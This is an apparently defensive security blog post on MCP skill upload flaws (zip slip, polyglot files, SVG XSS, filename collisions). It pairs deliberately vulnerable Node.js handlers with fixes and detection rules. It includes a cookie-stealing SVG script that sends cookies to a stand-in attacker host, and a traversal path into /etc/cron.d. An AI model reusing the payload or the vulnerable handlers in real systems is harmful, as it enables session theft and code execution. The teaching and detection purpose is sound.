← Blog

Claude skill upload advanced security — SA-SKL-UPLOAD2

Basic upload security stops at checking file size and MIME type. Advanced attackers bypass both. UPLOAD2-001 covers zip slip: a crafted archive containing an entry with a ../../ path that extracts outside the upload directory into arbitrary filesystem locations. UPLOAD2-002 covers polyglot files: a file with JPEG magic bytes in the first 12 bytes that passes MIME detection, while the rest of the file contains a PHP or Node.js payload that the server subsequently executes. UPLOAD2-003 covers SVG uploads that execute JavaScript in every browser that views the "image." UPLOAD2-004 covers filename collision: when stored using the user-supplied original filename, an attacker overwrites another user's audit report with their own file.

By SkillAudit  |  5 Nov 2026

Why basic MIME validation is insufficient for MCP skill uploads

MCP skills that accept file uploads — skill source archives, audit input packages, configuration bundles — face adversarial upload scenarios where the attacker controls every byte of the uploaded file. MIME type headers are user-supplied and trivially spoofed. Magic byte detection catches simple cases but fails against polyglots. Extension checks are bypassed by double extensions or null-byte injection. The correct approach combines: deep format inspection (not just magic bytes), confinement validation on extracted paths, format re-encoding for browser-displayed content, and content-addressable storage keys that never depend on the user-supplied filename.

SA-SKL-UPLOAD2 in scope: UPLOAD2-001 (zip slip), UPLOAD2-002 (polyglot MIME bypass), UPLOAD2-003 (SVG XSS), UPLOAD2-004 (filename collision). For basic multer file size limits and MIME type handling see SA-SKL-MULTIPART.

UPLOAD2-001 — Zip slip via archive path traversal

Zip slip is a directory traversal attack specific to archive extraction. An attacker crafts a ZIP file containing an entry with a filename like ../../etc/cron.d/evil-skill. When a naive extractor writes each entry to the concatenated path of the target directory and the entry filename, this resolves to /var/uploads/../../etc/cron.d/evil-skill — which after normalization is /etc/cron.d/evil-skill. The attacker has written an arbitrary file outside the upload directory. With cron.d write access on a Linux host, this is remote code execution. The fix is to validate each entry's fully-resolved output path against the target directory using fs.realpath (or the synchronous path equivalent) before writing any bytes.

// VULNERABLE: naive extraction with AdmZip — entries extracted to resolved paths
const AdmZip = require('adm-zip');
const path = require('path');

async function extractSkillArchive(zipBuffer: Buffer, targetDir: string) {
  const zip = new AdmZip(zipBuffer);
  const entries = zip.getEntries();

  for (const entry of entries) {
    // VULNERABLE: entry.entryName may contain ../../ path traversal sequences
    const outputPath = path.join(targetDir, entry.entryName);
    // path.join normalizes but does NOT enforce confinement
    // path.join('/var/uploads', '../../etc/cron.d/evil') = '/etc/cron.d/evil'
    zip.extractEntryTo(entry, path.dirname(outputPath), false, true);
  }
}
// FIXED: validate each entry's resolved path is within targetDir before extraction
const AdmZip = require('adm-zip');
const path = require('path');
const fs = require('fs');

async function extractSkillArchive(zipBuffer: Buffer, targetDir: string) {
  // Resolve targetDir to its canonical absolute path (resolve symlinks)
  const canonicalTarget = fs.realpathSync(targetDir);

  const zip = new AdmZip(zipBuffer);
  const entries = zip.getEntries();

  for (const entry of entries) {
    if (entry.isDirectory) continue;  // Skip directory entries — create on file write

    // Build the candidate output path and normalize
    const candidatePath = path.resolve(canonicalTarget, entry.entryName);

    // Confinement check: resolved path must start with canonicalTarget + separator
    // The trailing separator prevents /var/uploads/../uploads2 bypass
    if (!candidatePath.startsWith(canonicalTarget + path.sep)) {
      throw new Error(`Zip slip detected: entry '${entry.entryName}' escapes extraction directory`);
    }

    // Safe to extract — path is confined to targetDir
    fs.mkdirSync(path.dirname(candidatePath), { recursive: true });
    fs.writeFileSync(candidatePath, entry.getData());
  }
}
HIGH
SA-SKL-UPLOAD2-001 — Skill extracts uploaded archive files (ZIP, TAR, GZ) using path.join(targetDir, entry.name) without confinement validation; a crafted archive entry with a ../../ path traversal in its filename extracts to arbitrary filesystem locations including /etc/cron.d/, ~/.ssh/, or application source directories; on Linux this enables RCE via cron or SSH key injection. Fix: resolve each entry's output path with path.resolve() and verify it starts with the canonical target directory path + path separator before writing any bytes; throw and abort extraction on first violation. Detection: SkillAudit flags archive extraction calls (AdmZip, node-tar, unzipper, JSZip) where entry filenames are concatenated with the target path without a subsequent confinement check using startsWith(canonicalTarget + path.sep).

UPLOAD2-002 — Polyglot file bypasses magic-byte MIME detection

A polyglot file is simultaneously valid in two formats. The most common upload attack variant prepends JPEG magic bytes (\xFF\xD8\xFF) to a PHP or JavaScript payload. A MIME inspector reading the first 4 bytes classifies the file as image/jpeg; the check passes. If the server then stores the file with a .php or .js extension (derived from the user-supplied filename) and places it in a web-served directory, the runtime executes it. The file-type npm package performs a deeper inspection than magic bytes alone, but even it cannot reliably detect all polyglots. The defense-in-depth fix combines: (1) file-type for best-effort format detection, (2) an extension allowlist enforced independently of MIME, (3) storage in a non-web-executable directory, and (4) content re-encoding for image types (convert to PNG via sharp).

// VULNERABLE: trusts multer's file.mimetype from Content-Type header
// Content-Type is user-supplied — trivially set to 'image/jpeg' for a PHP file
const multer = require('multer');
const upload = multer({ dest: '/var/www/uploads/' });  // VULNERABLE: web-served dir

app.post('/api/skill/upload_logo', authMiddleware, upload.single('logo'), async (req, res) => {
  // VULNERABLE: file.mimetype from Content-Type header — attacker sets it to image/jpeg
  if (!['image/jpeg', 'image/png'].includes(req.file.mimetype)) {
    return res.status(400).json({ error: 'Only images allowed' });
  }

  // Stores with original extension — if attacker named file 'shell.php', extension is .php
  // Combined with web-served upload dir: attacker visits /uploads/shell.php → RCE
  const filename = req.file.originalname;
  fs.renameSync(req.file.path, path.join('/var/www/uploads/', filename));
  res.json({ url: `/uploads/${filename}` });
});
// FIXED: file-type deep inspection + extension allowlist + non-executable dir + re-encoding
const multer = require('multer');
const { fileTypeFromBuffer } = require('file-type');
const sharp = require('sharp');
const crypto = require('crypto');

// Store uploads OUTSIDE the web root — never in a directory served by Express.static
const upload = multer({ dest: '/var/data/upload-tmp/', limits: { fileSize: 5 * 1024 * 1024 } });

const ALLOWED_IMAGE_TYPES = new Set(['image/jpeg', 'image/png', 'image/webp']);

app.post('/api/skill/upload_logo', authMiddleware, upload.single('logo'), async (req, res) => {
  const fileBuffer = fs.readFileSync(req.file.path);

  // Deep MIME detection — reads file structure, not just Content-Type header
  const detected = await fileTypeFromBuffer(fileBuffer);
  if (!detected || !ALLOWED_IMAGE_TYPES.has(detected.mime)) {
    fs.unlinkSync(req.file.path);
    return res.status(400).json({ error: 'Only JPEG, PNG, and WebP images allowed' });
  }

  // Re-encode to PNG via sharp — strips embedded scripts, metadata, ICC profiles
  // A polyglot JPEG is no longer a polyglot after transcoding to clean PNG
  const cleanPng = await sharp(fileBuffer).png().toBuffer();

  // Store with UUID filename — never use originalname for storage path
  const storageKey = `${crypto.randomUUID()}.png`;
  const storagePath = path.join('/var/data/logos/', storageKey);  // Not web-served
  fs.writeFileSync(storagePath, cleanPng);
  fs.unlinkSync(req.file.path);

  // Serve via a signed URL or a streaming endpoint that sets Content-Type explicitly
  res.json({ key: storageKey });
});
HIGH
SA-SKL-UPLOAD2-002 — Skill accepts uploaded images and validates MIME type using either the HTTP Content-Type header or magic bytes alone; an attacker constructs a polyglot file with a valid image header followed by a PHP/Node/Python payload, optionally with a double extension (shell.php.jpg); if the server stores files in a web-served directory and preserves the original filename extension, the runtime executes the payload on request. Fix: (1) file-type npm package for deep format detection; (2) re-encode images through sharp before storage to strip any embedded payload; (3) store in a non-web-executable directory; (4) use UUID filenames — never the user-supplied originalname. Detection: SkillAudit flags upload handlers that use req.file.mimetype (header-derived) for access control, store files in Express.static-served paths, or use req.file.originalname as the storage filename.

UPLOAD2-003 — SVG file XSS

SVG files are XML documents that can contain <script> tags, event handlers (onload, onclick), and <foreignObject> elements with HTML. When a browser loads an SVG file served with the MIME type image/svg+xml — the correct MIME type for SVG — it executes any JavaScript in the SVG. An attacker uploads an SVG containing <script>fetch('https://evil.com/?c='+document.cookie)</script> as their profile image. Every user who views the profile page, or any page that embeds the SVG via an <img> tag, executes the script. Even if the SVG is served with Content-Disposition: attachment, the XSS fires if the browser can be persuaded to open it directly (e.g., via a link in a tool result). The correct fix for user-uploaded SVGs is to never serve them as image/svg+xml from your domain — either reject SVG uploads or re-encode them to PNG via sharp.

// VULNERABLE: SVG accepted and served as image/svg+xml — executes embedded JavaScript
const multer = require('multer');
const upload = multer({ dest: '/var/data/uploads/' });

app.post('/api/skill/upload_avatar', authMiddleware, upload.single('avatar'), async (req, res) => {
  const { fileTypeFromBuffer } = require('file-type');
  const buffer = fs.readFileSync(req.file.path);
  const detected = await fileTypeFromBuffer(buffer);

  // VULNERABLE: SVG passes image/* check; image/svg+xml is a valid image MIME type
  if (!detected?.mime.startsWith('image/')) {
    return res.status(400).json({ error: 'Only images allowed' });
  }

  const filename = `${req.user.id}-avatar${path.extname(req.file.originalname)}`;
  fs.renameSync(req.file.path, `/var/data/uploads/${filename}`);

  // SVG served as image/svg+xml from app domain — executes JavaScript in browser
  res.json({ avatarUrl: `/uploads/${filename}` });
});
// FIXED: reject SVG entirely OR re-encode all images to PNG before serving
app.post('/api/skill/upload_avatar', authMiddleware, upload.single('avatar'), async (req, res) => {
  const { fileTypeFromBuffer } = require('file-type');
  const sharp = require('sharp');
  const buffer = fs.readFileSync(req.file.path);
  const detected = await fileTypeFromBuffer(buffer);

  // Blocklist SVG explicitly — browsers execute scripts in SVG/XML served from app domain
  const BLOCKED_TYPES = new Set(['image/svg+xml', 'image/xml', 'text/xml', 'text/html']);
  const ALLOWED_RASTER_TYPES = new Set(['image/jpeg', 'image/png', 'image/webp', 'image/gif']);

  if (!detected || BLOCKED_TYPES.has(detected.mime) || !ALLOWED_RASTER_TYPES.has(detected.mime)) {
    fs.unlinkSync(req.file.path);
    return res.status(400).json({ error: 'Only JPEG, PNG, WebP, GIF images allowed; SVG is not accepted' });
  }

  // Re-encode to PNG — strips EXIF, ICC profiles, and any format-level payloads
  const storageKey = `${req.user.id}-${crypto.randomUUID()}.png`;
  const cleanPng = await sharp(buffer)
    .resize(256, 256, { fit: 'cover' })  // also normalizes dimensions
    .png()
    .toBuffer();

  fs.writeFileSync(`/var/data/avatars/${storageKey}`, cleanPng);
  fs.unlinkSync(req.file.path);

  res.json({ avatarUrl: `/api/avatar/${storageKey}` });
  // Serve via streaming endpoint that sets Content-Type: image/png explicitly
});
HIGH
SA-SKL-UPLOAD2-003 — Skill accepts SVG file uploads and serves them from the application domain with Content-Type: image/svg+xml; SVG is an XML format that browsers execute as a first-class script environment — embedded <script>, event handlers, and <foreignObject> run on page load; an attacker uploads an SVG with cookie-stealing JavaScript as their avatar; every user who views the attacker's profile executes the payload (stored XSS). Fix: explicitly reject image/svg+xml uploads, OR re-encode all accepted images through sharp().png() before storage and serving — SVG cannot survive a raster re-encode. Detection: SkillAudit flags upload handlers that accept image/* without explicitly blocking image/svg+xml, or that serve uploaded images as their detected MIME type without transcoding.

UPLOAD2-004 — Filename collision overwrites existing files

When uploaded files are stored using the user-supplied original filename, two users who upload files with the same name overwrite each other's data. An attacker who knows the naming convention of audit reports or configuration files can upload a file with the same name and replace the legitimate file with their own content. Even without malicious intent, two legitimate users uploading report.zip overwrite each other's files non-deterministically. The fix is content-addressable or random storage keys: use crypto.randomUUID() as the storage filename. The original filename, if needed for display, is stored only in the database — never used as the filesystem key.

// VULNERABLE: storage path derived from user-supplied originalname — collision overwrites files
app.post('/api/skill/upload_archive', authMiddleware, upload.single('archive'), (req, res) => {
  const { originalname } = req.file;

  // VULNERABLE: two users uploading 'report.zip' write to the same path
  // Attacker uploads 'audit-config.json' knowing a victim has that filename
  const storagePath = path.join('/var/data/uploads/', path.basename(originalname));
  fs.renameSync(req.file.path, storagePath);

  res.json({ path: storagePath });
});
// FIXED: UUID storage key — originalname stored in DB for display only
const crypto = require('crypto');

app.post('/api/skill/upload_archive', authMiddleware, upload.single('archive'), async (req, res) => {
  const { originalname, mimetype, size } = req.file;

  // UUID key — no two uploads ever collide regardless of originalname
  const extension = path.extname(originalname).toLowerCase().replace(/[^a-z0-9.]/g, '');
  const storageKey = `${crypto.randomUUID()}${extension}`;
  const storagePath = path.join('/var/data/uploads/', storageKey);

  fs.renameSync(req.file.path, storagePath);

  // Store originalname in DB for display — never use it as a filesystem path component
  const record = await db.uploads.create({
    userId: req.user.id,
    storageKey,
    originalName: originalname,  // display only
    mimeType: mimetype,
    sizeBytes: size,
    createdAt: new Date(),
  });

  res.json({ uploadId: record.id, originalName: originalname });
});
MEDIUM
SA-SKL-UPLOAD2-004 — Skill stores uploaded files using the user-supplied originalname as the filesystem path component; two uploads with the same filename overwrite each other; an attacker who knows a target file's name (e.g., audit-config.json, package.json) replaces the legitimate file by uploading a crafted file with the same name; in multi-tenant environments this affects all users sharing the same upload directory. Fix: generate a crypto.randomUUID() storage key for every upload; store originalname only in the database for display purposes; never use req.file.originalname as any component of the filesystem storage path. Detection: SkillAudit flags multer handlers that use req.file.originalname or a user-derived value in the destination filename rather than a UUID or hash-based key.

SkillAudit detection summary — SA-SKL-UPLOAD2

Pattern IDSeverityWhat SkillAudit flagsFix
UPLOAD2-001HIGHArchive extraction without startsWith(canonicalTarget + sep) confinement checkResolve + confinement check per entry
UPLOAD2-002HIGHMIME check on req.file.mimetype (header); files stored in web-served dirfile-type + sharp re-encode + non-exec dir
UPLOAD2-003HIGHimage/* check without explicit SVG block; served as detected MIME typeBlock image/svg+xml; re-encode to PNG via sharp
UPLOAD2-004MEDIUMreq.file.originalname used as storage path componentcrypto.randomUUID() as storage key

Related patterns: For basic multer file size limits and MIME type validation, see SA-SKL-MULTIPART. For path traversal via filename arguments in non-upload contexts, see SA-SKL-FILEACCESS. For SSRF via user-supplied URLs fetched by the skill, see SA-SKL-SSRF.